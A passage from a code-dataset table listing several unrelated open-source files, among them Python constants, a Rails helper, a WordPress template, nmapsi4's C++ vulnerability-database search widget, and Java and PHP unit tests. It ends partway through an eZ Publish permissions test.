code stringlengths 3 1.05M | repo_name stringlengths 4 116 | path stringlengths 4 991 | language stringclasses 9
values | license stringclasses 15
values | size int32 3 1.05M |
|---|---|---|---|---|---|
"""
Constants used in ABED
"""
#: Default filename for the abed config file.
CONFIG_FILENAME = "abed_conf.py"
#: Default dataset directory name
DATASET_DIRNAME = "datasets"
#: Default executables directory name
EXECS_DIRNAME = "execs"
#: Default tasksfile filename
TASKS_FILENAME = "abed_tasks.txt"
#: Default auto filename
AUTO_FILENAME = "abed_auto.txt"
| GjjvdBurg/ABED | abed/constants.py | Python | gpl-2.0 | 362 |
# Methods added to this helper will be available to all templates in the application.
module ApplicationHelper
def logged?
session[:user_id] != nil
end
def is_menu_active? menu
controller.controller_name == menu ? "active" : ""
end
def title(page_title)
content_for :title, page_title.to_s
end
end
| Toubib/yamon | app/helpers/application_helper.rb | Ruby | gpl-2.0 | 329 |
<div class="wrap-container animate artfolio" <?php if($ajax): echo 'style="left:100%"'; endif; ?>>
<div class="wrap-container-1">
<header id="masthead" class="site-header" role="banner">
<div class="wrap-header">
<div class="container">
<a class="home-link hide-mobile" href="<?php echo esc_url(home_url('/')); ?>" title="<?php echo esc_attr(get_bloginfo('name', 'display')); ?>" rel="home">
<img src="<?php echo get_template_directory_uri() ?>/images-css/logo.png" />
</a>
<?php wp_nav_menu(array('menu' => 'main-menu', 'menu_class' => 'menu',)); ?>
<div class="hide-mobile">
<?php
if(is_active_sidebar( 'sidebar-header')){
dynamic_sidebar( 'sidebar-header' );
}
?>
</div>
</div>
</div>
</header>
<div id="main" class="site-main">
<div class="container">
<div class="bg-body">
<img src="<?php echo get_template_directory_uri() ?>/images-css/box-left.jpg" class="border-left" />
<img src="<?php echo get_template_directory_uri() ?>/images-css/box-right.jpg" class="border-right" />
<div class="border-right"></div>
<div class="top-banner1">
<img class="top-bg-body" src="<?php echo get_template_directory_uri() ?>/images-css/Start-Engine-Contact_03.jpg">
<img class="bottom-bg-body" src="<?php echo get_template_directory_uri() ?>/images-css/Start-Engine-Contact_05.jpg">
</div>
<div class="heighta" >
<div class="heightb">
<img src="<?php echo get_template_directory_uri() ?>/images-css/tri-angle-open1.png" class="imga">
<img class="imgb" src="<?php echo get_template_directory_uri() ?>/images-css/tri-angle-close.png" >
</div>
</div>
<div class="hide-mobile">
<button class="link-left">
<img src="<?php echo get_template_directory_uri() ?>/images-css/left.png" />
</button>
<button class="link-right">
<img src="<?php echo get_template_directory_uri() ?>/images-css/right.png" />
</button>
</div>
</div>
</div>
</div>
<?php
echo '<ul class="wrap-content-mobile hide-desktop">';
echo '<li class="block-content">';
echo '<h2>' .$page->post_title.'</h2>';
echo '<div class="content-mobile">' .apply_filters('the_content', $page->post_content).'</div>';
echo '</li>';
echo '</ul>';
wp_reset_postdata();
?>
<footer class="hide-desktop">
<div class="wrap-social-mobile">
<a href="#" class="fb" target="_blank">
<img src="<?php echo get_template_directory_uri() ?>/images/fb-mobile.png" />
</a>
<a href="#" class="in" target="_blank">
<img src="<?php echo get_template_directory_uri() ?>/images/in-mobile.png" />
</a>
</div>
<div class="copy-right">
<?php get_sidebar('footer') ?>
</div>
</footer>
</div>
</div> | ngoctu006/engine | wp-content/themes/twentythirteen/content-artfolio.php | PHP | gpl-2.0 | 3,818 |
/*
Copyright 2011-2017 Francesco Cecconi <francesco.cecconi@gmail.com>
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of
the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "vulnerability.h"
#include "mainwindow.h"
VulnerabilityWidget::VulnerabilityWidget(QWidget* parent): QWidget(parent)
{
setupUi(this);
}
Vulnerability::Vulnerability(MainWindow* parent)
: QObject(parent), m_ui(parent), m_completerVuln(0), m_vulnModel(0)
{
m_vulnerabilityWidget = new VulnerabilityWidget(m_ui);
m_vulnerabilityWidget->tWresult->setTabsClosable(true);
m_vulnerabilityWidget->tWresult->removeTab(0);
m_vulnerabilityWidget->tWresult->setVisible(false);
updateCompleter();
loadSearchUrlIntoCombo();
m_vulnerabilityWidget->comboVulnRis->setStyleSheet(QString::fromUtf8("color: rgb(153, 153, 153);"));
m_vulnerabilityWidget->comboVulnRis->insertItem(0, tr("Search Vulnerabilities"));
connect(m_vulnerabilityWidget->tWresult, &QTabWidget::tabCloseRequested,
this, &Vulnerability::closeVulnTab);
connect(m_vulnerabilityWidget->comboVulnRis->lineEdit(), &QLineEdit::returnPressed,
this, &Vulnerability::searchVulnerabilityFromCombo);
connect(m_vulnerabilityWidget->comboVulnRis->lineEdit(), &QLineEdit::cursorPositionChanged,
this, &Vulnerability::updateComboServicesProperties);
connect(m_vulnerabilityWidget->comboVuln, static_cast<void (QComboBox::*)(const QString&)>(&QComboBox::currentIndexChanged),
this, &Vulnerability::updateComboVuln);
connect(m_vulnerabilityWidget->treeVulnNseRecovered, &QTreeWidget::itemClicked,
this, &Vulnerability::searchVulnFromTreeWidget);
m_mainHorizontalLeftSplitter = new QSplitter(m_ui);
m_mainHorizontalLeftSplitter->setOrientation(Qt::Horizontal);
m_mainHorizontalLeftSplitter->addWidget(m_vulnerabilityWidget->treeVulnNseRecovered);
m_mainHorizontalLeftSplitter->addWidget(m_vulnerabilityWidget->frameVuln);
m_mainHorizontalLeftSplitter->addWidget(m_vulnerabilityWidget->frameOptions);
m_vulnerabilityWidget->layout()->addWidget(m_mainHorizontalLeftSplitter);
QSettings settings("nmapsi4", "nmapsi4");
if (!settings.value("vulnTreeSplitterHorizontal").toByteArray().isEmpty()) {
m_mainHorizontalLeftSplitter->restoreState(settings.value("vulnTreeSplitterHorizontal").toByteArray());
} else {
// set a default width
QList<int> size = m_mainHorizontalLeftSplitter->sizes();
size[0] = 100; // ratio
size[1] = 250;
size[2] = 100;
m_mainHorizontalLeftSplitter->setSizes(size);
}
m_vulnerabilityWidget->comboWebV->setCurrentIndex(settings.value("vulnUrlComboIndex", 0).toInt());
QSpacerItem *verticalSpacer = new QSpacerItem(20, 163, QSizePolicy::Minimum, QSizePolicy::Expanding);
m_welcomeQml = new QQuickView;
QVBoxLayout *qmlWelcomeLayout = new QVBoxLayout(QWidget::createWindowContainer(m_welcomeQml));
m_welcomeQml->setResizeMode(QQuickView::SizeRootObjectToView);
qmlWelcomeLayout->addItem(verticalSpacer);
m_welcomeQml->setSource(Package::qmlPath("vulnerabilityWelcome"));
m_vulnerabilityWidget->frameVuln->layout()->addWidget(QWidget::createWindowContainer(m_welcomeQml));
m_vulnerabilityWidget->treeVulnNseRecovered->setVisible(false);
}
Vulnerability::~Vulnerability()
{
}
void Vulnerability::syncSettings()
{
QSettings settings("nmapsi4", "nmapsi4");
settings.setValue("vulnTreeSplitterHorizontal", m_mainHorizontalLeftSplitter->saveState());
settings.setValue("vulnUrlComboIndex", m_vulnerabilityWidget->comboWebV->currentIndex());
}
void Vulnerability::updateCompleter()
{
// load vulnerability services string model
if (!m_ui->m_bookmark->isBookmarkServicesListEmpty()) {
if (m_completerVuln) {
QStringListModel *newModel = qobject_cast<QStringListModel*>(m_completerVuln->model());
newModel->setStringList(m_ui->m_bookmark->getServicesListFromBookmark());
} else if (!m_vulnModel) {
m_vulnModel = new QStringListModel(m_ui->m_bookmark->getServicesListFromBookmark(), this);
}
}
}
const QList< QPair<QString, QString> > Vulnerability::getDefaultUrlList()
{
QList< QPair<QString, QString> > urlListModel;
QPair<QString, QString> urlModel;
// set default name+value url
urlModel.first = "cve.mitre.org";
urlModel.second = "http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=";
urlListModel.push_back(urlModel);
urlModel.first = "www.securityfocus.com";
urlModel.second = "http://www.securityfocus.com/swsearch?sbm=bid&submit=Search%21&metaname=alldoc&sort=swishrank&query=";
urlListModel.push_back(urlModel);
urlModel.first = "secunia.com";
urlModel.second = "http://secunia.com/advisories/search/?search=";
urlListModel.push_back(urlModel);
urlModel.first = "web.nvd.nist.gov";
urlModel.second = "http://web.nvd.nist.gov/view/vuln/search-results?search_type=all&cves=on&query=";
urlListModel.push_back(urlModel);
urlModel.first = "osvdb.org";
urlModel.second = "http://osvdb.org/search?search[vuln_title]=";
urlListModel.push_back(urlModel);
return urlListModel;
}
void Vulnerability::searchVulnerabilityFromCombo()
{
if (m_vulnerabilityWidget->comboVulnRis->currentText().isEmpty()) {
return;
}
// save current search on bookmark
m_ui->m_bookmark->saveServiceToBookmark(m_vulnerabilityWidget->comboVulnRis->currentText(), m_ui->m_hostCache);
//update completer cache
updateCompleter();
QString finalUrlString;
QString tmpSearchString;
// search string from QComboBox
tmpSearchString = m_vulnerabilityWidget->comboVulnRis->currentText();
// space to + for correct search string format
tmpSearchString.replace(QString(" "), QString("+"));
// create QHash for default profile
QList< QPair<QString, QString> > urlListModel = getDefaultUrlList();
// selection url from key for search
if (m_vulnerabilityWidget->comboWebV->currentIndex() < urlListModel.size()) {
// It is a default url, stored in QList
QListIterator< QPair<QString, QString> > i(urlListModel);
while (i.hasNext()) {
QPair<QString, QString> urlModel = i.next();
if (urlModel.first == m_vulnerabilityWidget->comboWebV->currentText()) {
finalUrlString = urlModel.second;
}
}
} else {
// It isn't a default url, but an url from treeWidget
QList<QTreeWidgetItem *> resultList_ = m_ui->m_bookmark->m_vulnBookmarkWidget->treeWidgetVulnUrl->findItems(m_vulnerabilityWidget->comboWebV->currentText(), Qt::MatchExactly, 0);
finalUrlString = resultList_[0]->text(1);
}
finalUrlString.append(tmpSearchString);
QUrl urlFinal(finalUrlString);
openTab(urlFinal, m_vulnerabilityWidget->comboVulnRis->lineEdit()->text());
}
void Vulnerability::openTab(const QUrl& address, const QString& tabName)
{
// default action settings
m_ui->m_collections->m_collectionsVulnerability.value("stop-act")->setEnabled(true);
m_ui->m_collections->m_collectionsVulnerability.value("back-act")->setEnabled(true);
m_ui->m_collections->m_collectionsVulnerability.value("forward-act")->setEnabled(true);
m_welcomeQml->setVisible(false);
// make tabBar visible for the first search
if (!m_webViewList.size()) {
m_vulnerabilityWidget->tWresult->setVisible(true);
}
// create new tab with a QWebEngineView
QWebEngineView *page = new QWebEngineView(m_ui);
page->setContextMenuPolicy(Qt::NoContextMenu);
m_webViewList.push_back(page);
page->load(address);
m_vulnerabilityWidget->tWresult->addTab(page, tabName);
connect(page, &QWebEngineView::loadProgress, m_vulnerabilityWidget->progressWeb, &QProgressBar::setValue);
connect(page, &QWebEngineView::loadFinished, this, &Vulnerability::vulnPostScan);
}
void Vulnerability::searchVulnFromTreeWidget()
{
if (!m_vulnerabilityWidget->treeVulnNseRecovered->selectedItems().size()) {
return;
}
QString addressName = m_ui->m_scanWidget->treeMain->selectedItems()[0]->text(0).split(' ', QString::SkipEmptyParts)[0];
openTab(QUrl::fromUserInput(m_vulnerabilityWidget->treeVulnNseRecovered->selectedItems()[0]->text(0)),
addressName
+ "::"
+ static_cast<QUrl>(m_vulnerabilityWidget->treeVulnNseRecovered->selectedItems()[0]->text(0)).authority());
}
void Vulnerability::closeVulnTab(int index)
{
QWebEngineView *page = m_webViewList.takeAt(index);
m_vulnerabilityWidget->tWresult->removeTab(index);
delete page;
if (!m_webViewList.size()) {
m_vulnerabilityWidget->tWresult->setVisible(false);
m_welcomeQml->setVisible(true);
// disable search action in vulnerability toolBar
m_ui->m_collections->m_collectionsVulnerability.value("search-act")->setEnabled(false);
}
}
void Vulnerability::tabWebBack()
{
m_webViewList[m_vulnerabilityWidget->tWresult->currentIndex()]->triggerPageAction(QWebEnginePage::Back);
}
void Vulnerability::tabWebForward()
{
m_webViewList[m_vulnerabilityWidget->tWresult->currentIndex()]->triggerPageAction(QWebEnginePage::Forward);
}
void Vulnerability::tabWebStop()
{
m_webViewList[m_vulnerabilityWidget->tWresult->currentIndex()]->triggerPageAction(QWebEnginePage::Stop);
}
void Vulnerability::vulnPostScan()
{
m_ui->m_collections->m_collectionsVulnerability.value("stop-act")->setEnabled(false);
}
void Vulnerability::callVulnCheck()
{
m_vulnerabilityWidget->comboVulnRis->clear();
updateComboServicesProperties();
m_vulnerabilityWidget->comboVulnRis->insertItem(0, m_ui->m_bookmark->m_vulnBookmarkWidget->treeBookVuln->currentItem()->text(0));
searchVulnerabilityFromCombo();
}
void Vulnerability::linkCompleterToServices()
{
if (!m_ui->m_collections->m_collectionsScanSection.value("bookmarkAddService-action")->isEnabled()) {
m_ui->m_collections->m_collectionsScanSection.value("bookmarkAddService-action")->setEnabled(true);
}
if (!m_ui->m_collections->m_collectionsVulnerability.value("search-act")->isEnabled()) {
m_ui->m_collections->m_collectionsVulnerability.value("search-act")->setEnabled(true);
}
if (m_vulnerabilityWidget->comboVulnRis->lineEdit()->text().isEmpty()
&& !m_vulnerabilityWidget->comboVuln->currentIndex()) {
m_ui->m_collections->m_collectionsVulnerability.value("search-act")->setEnabled(false);
}
if (!m_vulnModel) {
return;
}
if (!m_completerVuln) {
m_completerVuln = new QCompleter(m_vulnModel, m_ui);
m_completerVuln->setCompletionRole(QCompleter::InlineCompletion);
m_completerVuln->setWrapAround(false);
m_completerVuln->setCaseSensitivity(Qt::CaseInsensitive);
m_vulnerabilityWidget->comboVulnRis->setCompleter(m_completerVuln);
}
}
void Vulnerability::updateComboVuln(const QString& value)
{
if (m_vulnerabilityWidget->comboVuln->currentIndex()) {
m_vulnerabilityWidget->comboVulnRis->clear();
m_vulnerabilityWidget->comboVulnRis->insertItem(0, value);
m_ui->m_collections->m_collectionsVulnerability.value("search-act")->setEnabled(true);
} else {
if (m_vulnerabilityWidget->comboVulnRis->lineEdit()->text().isEmpty()) {
m_ui->m_collections->m_collectionsVulnerability.value("search-act")->setEnabled(false);
}
}
}
void Vulnerability::checkVulnerabilitiesFromPortsTree()
{
updateComboServicesProperties();
int notEmpty = 0;
for (QTreeWidgetItem* item : m_ui->m_scanWidget->listWscan->selectedItems()) {
if (!item->text(3).isEmpty()) {
if (m_vulnerabilityWidget->comboVulnRis->itemText(0).isEmpty()) {
m_vulnerabilityWidget->comboVulnRis->addItem(item->text(3));
searchVulnerabilityFromCombo();
} else {
m_vulnerabilityWidget->comboVulnRis->setItemText(0, item->text(3));
searchVulnerabilityFromCombo();
}
notEmpty++;
}
}
if (notEmpty) {
m_ui->updateVulnerabilitySection();
}
}
void Vulnerability::loadSearchUrlIntoCombo()
{
// clear comboWeb
m_vulnerabilityWidget->comboWebV->clear();
// insert default static url in comboWeb
QListIterator< QPair<QString, QString> > i(getDefaultUrlList());
while (i.hasNext()) {
m_vulnerabilityWidget->comboWebV->insertItem(m_vulnerabilityWidget->comboWebV->count() + 1, i.next().first);
}
m_vulnerabilityWidget->comboWebV->insertSeparator(m_vulnerabilityWidget->comboWebV->count() + 1);
// value from treeWidget url
for (int index = 0; index < m_ui->m_bookmark->m_vulnBookmarkWidget->treeWidgetVulnUrl->topLevelItemCount(); index++) {
m_vulnerabilityWidget->comboWebV->insertItem(m_vulnerabilityWidget->comboWebV->count() + 1,
m_ui->m_bookmark->m_vulnBookmarkWidget->treeWidgetVulnUrl->topLevelItem(index)->text(0));
}
}
void Vulnerability::showAddUrlUi()
{
QPointer<AddVulnerabilityUrl> dialogUrl = new AddVulnerabilityUrl(m_ui);
connect(dialogUrl, &AddVulnerabilityUrl::doneUrl,
this, &Vulnerability::addUrlToBookmarks);
dialogUrl->exec();
if (dialogUrl) {
delete dialogUrl;
}
}
void Vulnerability::addUrlToBookmarks(const QString urlName, const QString urlAddr)
{
m_ui->m_bookmark->saveAddressToBookmark(urlName, urlAddr);
// reload comboVuln with website
loadSearchUrlIntoCombo();
}
void Vulnerability::removeUrlToBookmarks()
{
if (m_ui->m_bookmark->m_vulnBookmarkWidget->treeWidgetVulnUrl->selectedItems().isEmpty()) {
return;
}
//remove address from bookmark
m_ui->m_bookmark->deleteAddressFromBookmark(m_ui->m_bookmark->m_vulnBookmarkWidget->treeWidgetVulnUrl->selectedItems()[0]->text(0));
loadSearchUrlIntoCombo();
}
void Vulnerability::updateComboServicesProperties()
{
m_vulnerabilityWidget->comboVulnRis->clear();
m_ui->m_collections->m_collectionsVulnerability.value("search-act")->setEnabled(true);
m_vulnerabilityWidget->comboVulnRis->setStyleSheet(QString::fromUtf8(""));
bool signalState = m_vulnerabilityWidget->comboVulnRis->lineEdit()->disconnect(SIGNAL(cursorPositionChanged(int,int)));
if (!signalState)
return;
connect(m_vulnerabilityWidget->comboVulnRis, &QComboBox::editTextChanged,
this, &Vulnerability::linkCompleterToServices);
}
void Vulnerability::openUrlFromScanPortsTree()
{
QString address;
for (QTreeWidgetItem* item : m_ui->m_scanWidget->listWscan->selectedItems()) {
if (item->text(2).contains("http") && !item->text(2).contains("ssl")) {
address.append("http://");
address.append(m_ui->m_scanWidget->treeMain->currentItem()->text(0).split(' ')[0]);
address.append(':' + item->text(0).split('/')[0]);
// open tab for the address
openTab(QUrl(address), address);
}
address.clear();
}
m_ui->updateVulnerabilitySection();
}
| nmapsi4/nmapsi4 | src/platform/vulnerability.cpp | C++ | gpl-2.0 | 15,739 |
/*******************************************************************************
* This file is part of OpenNMS(R).
*
* Copyright (C) 2006-2011 The OpenNMS Group, Inc.
* OpenNMS(R) is Copyright (C) 1999-2011 The OpenNMS Group, Inc.
*
* OpenNMS(R) is a registered trademark of The OpenNMS Group, Inc.
*
* OpenNMS(R) is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License,
* or (at your option) any later version.
*
* OpenNMS(R) is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with OpenNMS(R). If not, see:
* http://www.gnu.org/licenses/
*
* For more information contact:
* OpenNMS(R) Licensing <license@opennms.org>
* http://www.opennms.org/
* http://www.opennms.com/
*******************************************************************************/
package org.opennms.netmgt.notifd;
import java.util.ArrayList;
import java.util.List;
import junit.framework.TestCase;
import org.opennms.core.test.MockLogAppender;
import org.opennms.core.utils.Argument;
import org.opennms.netmgt.model.notifd.NotificationStrategy;
public class SnmpTrapNotificationStrategyTest extends TestCase {
protected void setUp() throws Exception {
super.setUp();
MockLogAppender.setupLogging(true);
}
/*
* Test method for 'org.opennms.netmgt.notifd.SnmpTrapNotificationStrategy.send(List)'
*/
public void testSendWithEmptyArgumentList() {
List<Argument> arguments = new ArrayList<Argument>();
NotificationStrategy strategy = new SnmpTrapNotificationStrategy();
strategy.send(arguments);
}
/*
* Test method for 'org.opennms.netmgt.notifd.SnmpTrapNotificationStrategy.send(List)'
*/
public void testSendWithNamedHost() {
List<Argument> arguments = new ArrayList<Argument>();
Argument arg = new Argument("trapHost", null, "localhost", false);
arguments.add(arg);
NotificationStrategy strategy = new SnmpTrapNotificationStrategy();
strategy.send(arguments);
}
/*
* Test method for 'org.opennms.netmgt.notifd.SnmpTrapNotificationStrategy.sendV1Trap()'
*/
public void testSendV1Trap() {
}
/*
* Test method for 'org.opennms.netmgt.notifd.SnmpTrapNotificationStrategy.sendV2Trap()'
*/
public void testSendV2Trap() {
}
}
| bugcy013/opennms-tmp-tools | opennms-services/src/test/java/org/opennms/netmgt/notifd/SnmpTrapNotificationStrategyTest.java | Java | gpl-2.0 | 2,711 |
<?php
/**
* File contains: eZ\Publish\Core\Repository\Tests\Service\Mock\RepositoryTest class
*
* @copyright Copyright (C) 1999-2013 eZ Systems AS. All rights reserved.
* @license http://www.gnu.org/licenses/gpl-2.0.txt GNU General Public License v2
* @version //autogentag//
*/
namespace eZ\Publish\Core\Repository\Tests\Service\Mock;
use eZ\Publish\Core\Repository\Tests\Service\Mock\Base as BaseServiceMockTest;
use eZ\Publish\SPI\Persistence\User\RoleAssignment;
use eZ\Publish\SPI\Persistence\User\Role;
use eZ\Publish\SPI\Persistence\User\Policy;
/**
* Mock test case for Repository
*/
class RepositoryTest extends BaseServiceMockTest
{
public function providerForTestHasAccessReturnsTrue()
{
return array(
array(
array(
25 => $this->createRole(
array(
array( "dummy-module", "dummy-function", "dummy-limitation" ),
array( "dummy-module2", "dummy-function2", "dummy-limitation2" )
),
25
),
26 => $this->createRole(
array(
array( "*", "dummy-function", "dummy-limitation" )
),
26
)
),
array(
new RoleAssignment(
array(
"roleId" => 25,
)
),
new RoleAssignment(
array(
"roleId" => 26,
)
)
),
),
array(
array(
27 => $this->createRole(
array(
array( "test-module", "*", "dummy-limitation" )
),
27
)
),
array(
new RoleAssignment(
array(
"roleId" => 27,
)
)
),
),
array(
array(
28 => $this->createRole(
array(
array( "test-module", "test-function", "*" )
),
28
)
),
array(
new RoleAssignment(
array(
"roleId" => 28,
)
)
),
),
);
}
/**
* Test for the hasAccess() method.
*
* @covers \eZ\Publish\API\Repository\Repository::hasAccess
* @dataProvider providerForTestHasAccessReturnsTrue
*/
public function testHasAccessReturnsTrue( array $roles, array $roleAssignments )
{
/** @var $userHandlerMock \PHPUnit_Framework_MockObject_MockObject */
$userHandlerMock = $this->getPersistenceMock()->userHandler();
$mockedRepository = $this->getRepository();
$userHandlerMock
->expects( $this->once() )
->method( "loadRoleAssignmentsByGroupId" )
->with( $this->isType( "integer" ), $this->equalTo( true ) )
->will( $this->returnValue( $roleAssignments ) );
foreach ( $roleAssignments as $at => $roleAssignment )
{
$userHandlerMock
->expects( $this->at( $at + 1 ) )
->method( "loadRole" )
->with( $roleAssignment->roleId )
->will( $this->returnValue( $roles[$roleAssignment->roleId] ) );
}
$result = $mockedRepository->hasAccess( "test-module", "test-function" );
self::assertEquals( true, $result );
}
public function providerForTestHasAccessReturnsFalse()
{
return array(
array( array(), array() ),
array(
array(
29 => $this->createRole(
array(
array( "dummy-module", "dummy-function", "dummy-limitation" )
),
29
),
),
array(
new RoleAssignment(
array(
"roleId" => 29,
)
)
),
),
array(
array(
30 => $this->createRole(
array(
array( "test-module", "dummy-function", "dummy-limitation" )
),
30
),
),
array(
new RoleAssignment(
array(
"roleId" => 30,
)
)
),
),
);
}
/**
* Test for the hasAccess() method.
*
* @covers \eZ\Publish\API\Repository\Repository::hasAccess
* @dataProvider providerForTestHasAccessReturnsFalse
*/
public function testHasAccessReturnsFalse( array $roles, array $roleAssignments )
{
/** @var $userHandlerMock \PHPUnit_Framework_MockObject_MockObject */
$userHandlerMock = $this->getPersistenceMock()->userHandler();
$mockedRepository = $this->getRepository();
$userHandlerMock
->expects( $this->once() )
->method( "loadRoleAssignmentsByGroupId" )
->with( $this->isType( "integer" ), $this->equalTo( true ) )
->will( $this->returnValue( $roleAssignments ) );
foreach ( $roleAssignments as $at => $roleAssignment )
{
$userHandlerMock
->expects( $this->at( $at + 1 ) )
->method( "loadRole" )
->with( $roleAssignment->roleId )
->will( $this->returnValue( $roles[$roleAssignment->roleId] ) );
}
$result = $mockedRepository->hasAccess( "test-module", "test-function" );
self::assertEquals( false, $result );
}
/**
* Test for the sudo() & hasAccess() method.
*
* @covers \eZ\Publish\Core\Repository\Repository::sudo
* @covers \eZ\Publish\API\Repository\Repository::hasAccess
* @dataProvider providerForTestHasAccessReturnsFalse
*/
public function testHasAccessReturnsFalseButSudoSoTrue( array $roles, array $roleAssignments )
{
/** @var $userHandlerMock \PHPUnit_Framework_MockObject_MockObject */
$userHandlerMock = $this->getPersistenceMock()->userHandler();
$mockedRepository = $this->getRepository();
$userHandlerMock
->expects( $this->never() )
->method( $this->anything() );
$result = $mockedRepository->sudo(
function ( $repo )
{
return $repo->hasAccess( "test-module", "test-function" );
}
);
self::assertEquals( true, $result );
}
public function providerForTestHasAccessReturnsPermissionSets()
{
return array(
array(
array(
31 => $this->createRole(
array(
array( "test-module", "test-function", "test-limitation" )
),
31
),
),
array(
new RoleAssignment(
array(
"roleId" => 31,
)
)
),
)
);
}
/**
* Test for the hasAccess() method.
*
* @covers \eZ\Publish\API\Repository\Repository::hasAccess
* @dataProvider providerForTestHasAccessReturnsPermissionSets
*/
public function testHasAccessReturnsPermissionSets( array $roles, array $roleAssignments )
{
/** @var $userHandlerMock \PHPUnit_Framework_MockObject_MockObject */
$userHandlerMock = $this->getPersistenceMock()->userHandler();
$roleServiceMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\RoleService",
array(),
array(),
'',
false
);
$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "getRoleService", "getCurrentUser" ),
array(
$this->getPersistenceMock(),
)
);
$repositoryMock
->expects( $this->once() )
->method( "getRoleService" )
->will( $this->returnValue( $roleServiceMock ) );
$repositoryMock
->expects( $this->once() )
->method( "getCurrentUser" )
->will( $this->returnValue( $this->getStubbedUser( 14 ) ) );
$userHandlerMock
->expects( $this->once() )
->method( "loadRoleAssignmentsByGroupId" )
->with( $this->isType( "integer" ), $this->equalTo( true ) )
->will( $this->returnValue( $roleAssignments ) );
foreach ( $roleAssignments as $at => $roleAssignment )
{
$userHandlerMock
->expects( $this->at( $at + 1 ) )
->method( "loadRole" )
->with( $roleAssignment->roleId )
->will( $this->returnValue( $roles[$roleAssignment->roleId] ) );
}
$permissionSets = array();
/** @var $roleAssignments \eZ\Publish\SPI\Persistence\User\RoleAssignment[] */
foreach ( $roleAssignments as $i => $roleAssignment )
{
$permissionSet = array( "limitation" => null );
foreach ( $roles[$roleAssignment->roleId]->policies as $k => $policy )
{
$policyName = "policy-" . $i . "-" . $k;
$roleServiceMock
->expects( $this->at( $k ) )
->method( "buildDomainPolicyObject" )
->with( $policy )
->will( $this->returnValue( $policyName ) );
$permissionSet["policies"][] = $policyName;
}
$permissionSets[] = $permissionSet;
}
/** @var $repositoryMock \eZ\Publish\Core\Repository\Repository */
self::assertEquals(
$permissionSets,
$repositoryMock->hasAccess( "test-module", "test-function" )
);
}
public function providerForTestHasAccessReturnsPermissionSetsWithRoleLimitation()
{
return array(
array(
array(
32 => $this->createRole(
array(
array( "test-module", "test-function", "test-limitation" )
),
32
),
),
array(
new RoleAssignment(
array(
"roleId" => 32,
"limitationIdentifier" => "test-role-limitation",
"values" => array( "test-role-limitation-value" ),
)
)
),
),
array(
array(
33 => $this->createRole( array( array( "*", "*", "*" ) ), 33 ),
),
array(
new RoleAssignment(
array(
"roleId" => 33,
"limitationIdentifier" => "test-role-limitation",
"values" => array( "test-role-limitation-value" ),
)
)
),
)
);
}
/**
* Test for the hasAccess() method.
*
* @covers \eZ\Publish\API\Repository\Repository::hasAccess
* @dataProvider providerForTestHasAccessReturnsPermissionSetsWithRoleLimitation
*/
public function testHasAccessReturnsPermissionSetsWithRoleLimitation( array $roles, array $roleAssignments )
{
/** @var $userHandlerMock \PHPUnit_Framework_MockObject_MockObject */
$userHandlerMock = $this->getPersistenceMock()->userHandler();
$limitationTypeMock = $this->getMock( "eZ\\Publish\\SPI\\Limitation\\Type" );
$repositoryMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\Repository",
array( "getRoleService", "getCurrentUser" ),
array(
$this->getPersistenceMock(),
)
);
$roleServiceMock = $this->getMock(
"eZ\\Publish\\Core\\Repository\\RoleService",
array( "buildDomainPolicyObject", "getLimitationType" ),
array(),
'',
false
);
$repositoryMock
->expects( $this->once() )
->method( "getRoleService" )
->will( $this->returnValue( $roleServiceMock ) );
$repositoryMock
->expects( $this->once() )
->method( "getCurrentUser" )
->will( $this->returnValue( $this->getStubbedUser( 14 ) ) );
$userHandlerMock
->expects( $this->once() )
->method( "loadRoleAssignmentsByGroupId" )
->with( $this->isType( "integer" ), $this->equalTo( true ) )
->will( $this->returnValue( $roleAssignments ) );
foreach ( $roleAssignments as $at => $roleAssignment )
{
$userHandlerMock
->expects( $this->at( $at + 1 ) )
->method( "loadRole" )
->with( $roleAssignment->roleId )
->will( $this->returnValue( $roles[$roleAssignment->roleId] ) );
}
$permissionSets = array();
/** @var $roleAssignments \eZ\Publish\SPI\Persistence\User\RoleAssignment[] */
foreach ( $roleAssignments as $i => $roleAssignment )
{
$permissionSet = array();
foreach ( $roles[$roleAssignment->roleId]->policies as $k => $policy )
{
$policyName = "policy-{$i}-{$k}";
$permissionSet["policies"][] = $policyName;
$roleServiceMock
->expects( $this->at( $k ) )
->method( "buildDomainPolicyObject" )
->with( $policy )
->will( $this->returnValue( $policyName ) );
}
$permissionSet["limitation"] = "limitation-{$i}";
$limitationTypeMock
->expects( $this->at( $i ) )
->method( "buildValue" )
->with( $roleAssignment->values )
->will( $this->returnValue( $permissionSet["limitation"] ) );
$roleServiceMock
->expects( $this->any() )
->method( "getLimitationType" )
->with( $roleAssignment->limitationIdentifier )
->will( $this->returnValue( $limitationTypeMock ) );
$permissionSets[] = $permissionSet;
}
/** @var $repositoryMock \eZ\Publish\Core\Repository\Repository */
self::assertEquals(
$permissionSets,
$repositoryMock->hasAccess( "test-module", "test-function" )
);
}
/**
* Returns Role stub.
*
* @param array $policiesData
* @param mixed $roleId
*
* @return \eZ\Publish\SPI\Persistence\User\Role
*/
private function createRole( array $policiesData, $roleId = null )
{
$policies = array();
foreach ( $policiesData as $policyData )
{
$policies[] = new Policy(
array(
"module" => $policyData[0],
"function" => $policyData[1],
"limitations" => $policyData[2],
)
);
}
return new Role(
array(
"id" => $roleId,
"policies" => $policies
)
);
}
public function providerForTestCanUserSimple()
{
return array(
array( true, true ),
array( false, false ),
array( array(), false ),
);
}
/**
* Test for the canUser() method.
*
* Tests execution paths with permission sets equaling to boolean value or empty array.
*
* @covers \eZ\Publish\API\Repository\Repository::canUser
* @dataProvider providerForTestCanUserSimple
*/
public function testCanUserSimple( $permissionSets, $result )
{
